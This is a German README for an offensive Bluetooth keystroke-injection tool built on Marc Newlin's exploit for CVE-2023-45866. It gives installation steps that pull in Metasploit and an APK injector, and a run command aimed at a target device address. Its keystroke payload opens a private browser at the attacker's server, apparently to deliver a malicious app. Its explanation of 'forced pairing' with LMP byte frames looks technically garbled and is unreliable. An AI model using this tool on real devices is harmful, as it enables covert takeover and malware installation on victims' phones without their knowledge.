
Exploit basierend auf kritischen Bluetooth-Sicherheitslücken (CVE-2023-45866, CVE-2024-21306)

Quellenangabe. Die Schwachstelle und der ursprüngliche Exploit stammen von Marc Newlin (hi_my_name_is_keyboard) — ich beanspruche die Entdeckung nicht für mich. Dieses Repository ist eine Nachbildung, die dazu dient, den Fehler zu verstehen und zu dokumentieren; darauf aufbauend fügt blueXploit einen DuckyScript-ähnlichen Payload-Runner, einen Wiederverbindungs-/Wiederholungsmechanismus und einen optionalen Android-APK-Injektionshelfer hinzu. Alles hier dient ausschließlich Bildungs- und Forschungszwecken.
Diese kritischen Schwachstellen (CVE-2023-45866, CVE-2024-21306) ermöglichen es einem Angreifer, Tastatureingaben einzuschleusen und Kopplungsanfragen ohne Bestätigung durch den Benutzer zu akzeptieren. Dies beeinträchtigt die Sicherheit mehrerer Betriebssysteme erheblich.
Basiert auf dem ursprünglichen Exploit von Marc Newlin.
Installieren der Abhängigkeiten
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
blueXploit enthält Werkzeuge, um Schwachstellen auf Android-Geräten auszunutzen, und bietet zwei Hauptkomponenten sowie ein zusätzliches Programm namens apkpwn_injector, das sich im Ordner injector befindet.
.apk-Anwendungen im Ordner apk_clean.Diese Funktionen ermöglichen einen effizienten, vereinfachten Angriffsablauf in kontrollierten Umgebungen oder für Penetrationstests.

cd injector
python3 apkpwn_injector.py
Die von blueXploit ausgeführten Tastenbefehle werden aus dem Ordner /injector/payloads/ im .txt-Format geladen, mit einer einfachen, leicht verständlichen Syntax.
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
Ändern Sie die IP-Adresse in die Adresse, unter der der Server gehostet wird.
Geräteerkennung und -auflistung
bluetoothctl
Nach Bluetooth-Geräten suchen
scan on
Ausführen
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
Wählen Sie dann den erforderlichen, zuvor konfigurierten Payload aus.
Die vollständige Demo finden Sie in diesem Video
Diese Schwachstelle wird auf einer niedrigen Ebene des Bluetooth-Protokolls ausgenutzt, indem hauptsächlich das HID-Profil und das L2CAP-Protokoll manipuliert werden, um Tastatureingaben in ein Opfergerät einzuschleusen.
Der Bluetooth-Stack umfasst mehrere Schichten, wie das Link-Manager-Protokoll (LMP), die Host-Controller-Schnittstelle (HCI) und L2CAP. Dieser Angriff nutzt hauptsächlich die letzten beiden:
HCI: Die Adapterkonfiguration wird so manipuliert, dass es sich als legitimes HID-Gerät präsentiert.
L2CAP: L2CAP ist für das Multiplexen von Daten zwischen Geräten verantwortlich und nutzt Kanal 17 (HID Control) und Kanal 19 (HID Interrupt) für die HID-Kommunikation, was ausgenutzt werden kann, um Tastensequenzen zu senden.
CVE-2023-45866 ist eine Schwachstelle im Link-Manager-Protokoll (LMP), die durch einen „erzwungenen Kopplungs"-Angriff ausgenutzt wird. Hier ist die technische Vorgehensweise:
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
In diesem Datenframe:
0x01: LMP-Kopplungsanfrage0x01: LMP-Authentifizierungsanfrage (PIN)0x00 0x00 0x00 0x00: schwache PIN-Informationen, normalerweise 0000Hier nutzt der Exploit die fehlende Konfiguration und Authentifizierung für dieses Paket aus, was letztendlich Folgendes zurückgibt:
LMP Accept: 0x02 0x00 0x00 0x00 0x00
In diesem Datenframe:
0x02: LMP-Kopplungsanfrage AKZEPTIERT0x00 0x00 0x00 0x00: zurückgegebene fehlerhafte PIN-InformationenWenn der Schlüssel nicht korrekt validiert wird, wird die Verbindung hergestellt, aber ohne echte Kopplung, sodass ein LMP-Paket zur erzwungenen Kopplung wie folgt gesendet werden kann:
LMP Forced Pairing: 0x03 0x01 0x0000
Die Authentifizierung kann dann mithilfe zuvor offengelegter Schlüssel (wie „0000") erzwungen und ein verschlüsselter Kommunikationskanal eingerichtet werden, wodurch die Geräte gekoppelt werden, ohne einen ordnungsgemäßen Verifizierungsprozess zu durchlaufen.
Dies erzeugt eine Kopplung, ohne dass der Benutzer davon weiß, und sogar ohne Kopplungsfenster oder Benachrichtigung.
Der Fehler bei dieser CVE besteht darin, dass bestimmte Geräte LMP-Authentifizierungsanfragen nicht ordnungsgemäß validieren oder alte Schlüssel wiederverwenden.
Sobald also eine Kopplung mit dem Gerät hergestellt ist – zack! – ist der Rest einfach: In blueXploit.py treten der Adapter und das Gerät als Identifikationsdaten auf und spoofen diese. In diesem Fall werden Befehle wie diese ausgeführt:
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
blueXploit-Code
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
Erklärung des HID-Bytedatenrahmens:
:a10100001e000000000000
a1: gibt den HID-Report-Typ an01: gibt die HID-Schnittstellennutzung für eingehende Daten an00: Tastendruck oder Tastenloslösung00 1e 00 00 00 00: der Hexadezimalwert, wobei 1e dem Buchstaben a entsprichtEin ACK wird dann empfangen, um zu bestätigen, dass die Übertragung erfolgreich empfangen wurde.
Warnung: Dieses Material und die in diesem Repository beschriebenen Techniken dienen ausschließlich Bildungs- und Forschungszwecken. Penetrations- und Exploitation-Tools dürfen nur auf Systemen verwendet werden, für die Sie ausdrückliche Genehmigung zur Bewertung haben. Die unbefugte Verwendung dieser Techniken auf Systemen, die Ihnen nicht gehören, ist verboten und in vielen Rechtsordnungen illegal. Schäden oder negative Auswirkungen, die durch unsachgemäße Verwendung dieses Inhalts entstehen, liegen in der alleinigen Verantwortung des Benutzers.
Benutzer werden gebeten, in kontrollierten Umgebungen wie Testlaboren zu arbeiten und alle lokalen Gesetze und Vorschriften in Bezug auf Informationssicherheit und ethisches Hacking einzuhalten. happy hacking :D